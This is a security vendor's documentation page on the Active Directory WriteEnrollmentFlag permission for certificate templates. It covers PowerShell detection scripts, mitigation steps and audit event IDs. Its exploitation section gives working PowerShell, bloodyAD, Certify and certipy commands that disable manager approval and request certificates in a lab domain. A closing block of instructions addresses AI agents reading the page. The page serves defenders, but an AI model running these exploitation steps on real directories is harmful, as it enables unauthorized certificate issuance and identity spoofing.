> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/ad/writeenrollmentflag.md).

# WriteEnrollmentFlag

## Summary

|                            |                                      |
| -------------------------- | ------------------------------------ |
| **FSProtect ACL Alias**    | WriteEnrollmentFlag                  |
| **AD Alias**               | Write msPKI-Enrollment-Flag          |
| **Affected Object Types**  | Certificate Templates                |
| **Exploitation Certainty** | Certain                              |
| **AD Attribute**           | msPKI-Enrollment-Flag                |
| **AD Attribute Guid**      | d15ef7d8-f226-46db-ae79-b34e560bd12c |
| **AD Right**               | WriteProperty                        |

## Description

The `WriteEnrollmentFlag` permission in Active Directory allows an account to modify the `msPKI-Enrollment-Flag` attribute on certificate templates, which controls various enrollment behaviors and security features. When properly configured, this permission enables administrators to manage certificate enrollment options, such as requiring manager approval, enabling auto-enrollment, or setting specific authentication requirements. These configurations are crucial for maintaining the security and integrity of the Public Key Infrastructure (PKI) within an organization.

However, if misconfigured, the `WriteEnrollmentFlag` permission can introduce significant security vulnerabilities. An attacker with this permission could modify certificate template enrollment flags to bypass security controls, such as disabling manager approval requirements or enabling user-supplied subject information. These modifications could allow unauthorized certificate issuance, potentially leading to identity spoofing, authentication bypass, or man-in-the-middle attacks. By manipulating these flags, an attacker could undermine the trust model of the entire PKI, compromising encrypted communications and digital signatures throughout the organization.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `WriteEnrollmentFlag` entries.

**1.** Find-WriteEnrollmentFlag function

```powershell
function Find-WriteEnrollmentFlag {
    [CmdletBinding()]
    param([string]$OutputPath = "WriteEnrollmentFlag.csv", [string]$Target     = $null  )
    $SearchBase = (Get-ADRootDSE).ConfigurationNamingContext
    $act  = [System.Security.AccessControl.AccessControlType]::Allow
    $adr  = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $guid = 'd15ef7d8-f226-46db-ae79-b34e560bd12c'
    $ldapFilter = '(objectClass=pKICertificateTemplate)'
    if ($Target) { $ldapFilter = "(&(objectClass=pKICertificateTemplate)(cn=$Target))"}
    $rows = Get-ADObject -LDAPFilter $ldapFilter -SearchBase $SearchBase |
    ForEach-Object {
        $dn = $_.DistinguishedName
       
       $name = $_.Name;
        (Get-Acl "AD:$dn").Access | Where-Object { $_.AccessControlType -eq $act -and($_.ActiveDirectoryRights -band $adr) -and $_.ObjectType -eq $guid -and -not $_.IsInherited } | Select-Object `
            @{n='TemplateName';e={ $name}},  # add readable name
            @{n='InternalThreat';e={$_.IdentityReference}}}
    if ($OutputPath) {$rows | Export-Csv -Path $OutputPath -NoTypeInformation} else {$rows }
}
```

**2.** Scan all domain certificate templates

```powershell
Find-WriteEnrollmentFlag
```

**3.** Scan a specific template

```powershell
Find-WriteEnrollmentFlag -Target GMUsers
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `WriteEnrollmentFlag` entries without relying on any external modules or dependencies.

**1.** Find-WriteEnrollmentFlagSimple function

```powershell
function Find-WriteEnrollmentFlagSimple {
    [CmdletBinding()]
    param([string]$Target=$null,[string]$OutputPath="WriteEnrollmentFlag.csv")
    $Allow=[System.Security.AccessControl.AccessControlType]::Allow
    $WR=[System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $Attr=[Guid]'d15ef7d8-f226-46db-ae79-b34e560bd12c'
    $rows=[System.Collections.Generic.List[object]]::new()
    if($Target){ try{$entries=@([System.DirectoryServices.DirectoryEntry]("LDAP://$Target"))}catch{Write-Error "Bind fail: $_";return}}else{
        try{
            $cfg=([ADSI]"LDAP://RootDSE").configurationNamingContext
            $root=[System.DirectoryServices.DirectoryEntry]("LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$cfg")
            $ds=[System.DirectoryServices.DirectorySearcher]::new($root);$ds.Filter="(objectClass=pKICertificateTemplate)";$ds.PageSize=1000
            [void]$ds.PropertiesToLoad.Add("distinguishedName");[void]$ds.PropertiesToLoad.Add("name")
            $entries=@($ds.FindAll()|ForEach-Object{try{$_.GetDirectoryEntry()}catch{}})
        }catch{Write-Error "LDAP enumeration failed: $_";return}
    }
    foreach($e in $entries){try{
            $dn=$e.distinguishedName; $name=$e.Properties["name"].Value; if(-not $name){$name=(($dn -split ',',2)[0]-replace '^CN=')}
            $e.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) |
            Where-Object{ $_.AccessControlType -eq $Allow -and ($_.ActiveDirectoryRights -band $WR) -and $_.ObjectType -eq $Attr -and -not $_.IsInherited } |
            ForEach-Object{
                $who=try{$_.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value}catch{$_.IdentityReference.Value}
                $rows.Add([pscustomobject]@{TemplateName=$name;InternalThreat=$who})|Out-Null}}catch{}}
    if($OutputPath){$rows|Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8}else{$rows}
}

```

**2.** Scan all the domain templates

```powershell
Find-WriteEnrollmentFlagSimple
```

**3.** Scan a specific template

```powershell
Find-WriteEnrollmentFlagSimple -Target "CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs"
```

## Active Directory Services Interface

**1.** Open `Active Directory Services Interface (ADSI edit)` .

**2.** Right‑click ADSI Edit and select `Connect to...` from the context menu.

**3.** Select `Configuration` in `Select a well known Naming Context`, then click OK.

**4.** Navigate to `Configuration > Services > Public Key Services > Certificate Templates`.

**5.** In the Certificate Templates list, double-click Certificate Template.

**6.** In the Properties window, navigate to the Security tab.

**7.** Click on the Advanced button to open the Advanced Security Settings dialog.

**8.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**9.** Click Edit to modify the selected ACE.

**10.** In the permissions list, locate and check the option `Write msPKI-Enrollment-Flag`.

**11.** Click OK to save your changes and close the dialogs.

![ADSI](/files/qojKt6TNA6AoR6mHbtjF)

## Exploitation

When manager approval is required for a certificate template, your certificate request must first be approved by the designated manager before the certificate can be issued.

The following examples demonstrate exploitation on Windows and Linux environments.

![Approval Manager With Certify.exe](/files/7UyXcSSFBNudOiudbegC)

### Disabling Manager Approval on a Certificate Template using `powershell`

```powershell
$TemplateName = 'USER_TEMP'
try {
  $root = [ADSI]"LDAP://RootDSE"
  $base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($root.configurationNamingContext)"
  $ds = New-Object DirectoryServices.DirectorySearcher([ADSI]$base,
        "(&(objectClass=pKICertificateTemplate)(|(cn=$TemplateName)(displayName=$TemplateName)))")
  if ($r = $ds.FindOne()) {
    $t = $r.GetDirectoryEntry()
    $f = $t.Properties["msPKI-Enrollment-Flag"].Value
    if (($f -band 0x2) -eq 0x2) { $t.Properties["msPKI-Enrollment-Flag"].Value = $f -band -bnot 0x2; $t.CommitChanges() }
  }
} catch { Write-Error $_ }
```

Example:

```powershell
$TemplateName = 'GMUsers'
try {
  $root = [ADSI]"LDAP://RootDSE"
  $base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($root.configurationNamingContext)"
  $ds = New-Object DirectoryServices.DirectorySearcher([ADSI]$base,
        "(&(objectClass=pKICertificateTemplate)(|(cn=$TemplateName)(displayName=$TemplateName)))")
  if ($r = $ds.FindOne()) {
    $t = $r.GetDirectoryEntry()
    $f = $t.Properties["msPKI-Enrollment-Flag"].Value
    if (($f -band 0x2) -eq 0x2) { $t.Properties["msPKI-Enrollment-Flag"].Value = $f -band -bnot 0x2; $t.CommitChanges() }
  }
} catch { Write-Error $_ }
```

![Approval Manager With Certify.exe](/files/Xd8ziKuEPd9qkbZk0fyY)

### Request a Certificate After Manager Approval Is Disabled

```powershell
.\Certify.exe request /ca:"<host>\<caName>" /template:"<templateName>"
```

Example:

```powershell
.\Certify.exe request /ca:"DC.Forestall.labs\Forestall-ROOT-CA" /template:GMUsers
```

![Approval Manager With Certify.exe](/files/1OGA558YjqIWh7LTGL4B)

### Linux

When manager approval is required for a certificate template, your certificate request must first be approved by the designated manager before the certificate can be issued.

![Approval Manager With Certipy](/files/7lR5BLDV2aIyzeTVKEZB)

### Disabling Manager Approval on a Certificate Template using `Certipy`

#### Retrieve the current value of the msPKI-Enrollment-Flag attribute

```bash
bloodyAD --host <host>  -d <domain> -u <user> -p <pass> get object '<templatedn>' --attr msPKI-Enrollment-Flag
```

#### Compute the new msPKI-Enrollment-Flag setting

```bash
python -c "print(11 & ~0x2)"
```

#### Disable the Manager Approval Requirement

```bash
bloodyAD --host <host>  -d <domain> -u <user> -p <pass> set object '<templatedn>' msPKI-Enrollment-Flag -v 9
```

Example:

```bash
bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object 'CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs' --attr msPKI-Enrollment-Flag

python -c "print(11 & ~0x2)"

bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object 'CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs' msPKI-Enrollment-Flag -v 9
```

![Disable Approval Manager With Certipy](/files/4ANDFky1TCrSvhgIsrai)

### Request a Certificate After Manager Approval Is Disabled

```bash
certipy-ad req -u <user>@<domain> -p '<pass>' -ca '<ca>' -template <templatename> -target <dcip>
```

Example:

```bash
certipy-ad req -u adam@forestall.labs -p 'Temp123!' -ca 'Forestall-Root-CA' -template GMUsers -target 192.168.100.128
```

![Request a certificate using Certipy](/files/dK4uoscj3tfutNod8y4w)

## Mitigation

**1.** Open `Active Directory Services Interface (ADSI edit)` .

**2.** Right-click to ADSI Edit and select `Connect to...` from the context menu.

**3.** Select `Configuration` on `Select a well known Naming Context` and click OK.

**4.** Navigate to `Configuration > Services > Public Key Services > Certificate Templates`.

**5.** In the Certificate Templates list, double-click the Certificate Template.

**6.** In the Properties window, navigate to the Security tab.

**7.** Click the Advanced button to open the Advanced Security Settings dialog.

**8.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**9.** Click Edit to modify the selected ACE.

**10.** In the permissions list, locate and remove the option `Write msPKI-Enrollment-Flag`.

**11.** Click OK to save your changes and close the dialogs.

![ADSI](/files/qojKt6TNA6AoR6mHbtjF)

## Detection

Adding new Access Control Entries on the Active Directory objects changes the `ntSecurityDescriptor` attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event IDs to identify dangerous modifications.

| Event ID | Description                                                                   | Fields/Attributes              | References                                                                                                             |
| -------- | ----------------------------------------------------------------------------- | ------------------------------ | ---------------------------------------------------------------------------------------------------------------------- |
| 5136     | A directory service object was modified.                                      | ntSecurityDescriptor           | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                             |
| 4662     | An operation was performed on an object.                                      | AccessList, AccessMask         | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                             |
| 4886     | Certificate Services received a certificate request.                          | CertificateTemplate, Requester | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)> |
| 4887     | Certificate Services approved a certificate request and issued a certificate. | CertificateTemplate, Requester | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)> |

## References

* [Manage AD certificates in devices | CyberArk Docs](https://docs.cyberark.com/identity/latest/en/content/coreservices/connector/ad-certificates.htm)
* [Certificate templates | The Hacker Recipes](https://www.thehacker.recipes/ad/movement/adcs/certificate-templates)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/writeenrollmentflag.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
